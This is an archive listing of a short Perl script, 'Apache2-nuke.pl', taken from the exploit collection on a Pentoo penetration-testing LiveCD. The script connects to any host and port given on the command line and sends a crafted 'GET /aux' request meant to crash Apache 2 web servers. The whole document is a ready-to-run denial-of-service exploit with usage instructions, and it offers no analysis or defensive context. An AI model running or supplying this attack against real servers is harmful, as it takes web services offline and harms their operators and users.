home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / Apache2-nuke.pl < prev    next >
Perl Script  |  2005-02-12  |  311b  |  14 lines
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. if (@ARGV < 1 || @ARGV > 2) {
  4.     print STDOUT "Usage: perl $0 <host> <port=80>";
  5.     exit;
  6. }
  7. if (@ARGV == 2) {
  8.     $port = $ARGV[1];
  9. } else {
  10.     $port = 80;
  11. }
  12. $f = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$ARGV[0], 
  13. PeerPort=>$port);
  14. print $f "GET /aux HTTP/1.0\r\n\r\n";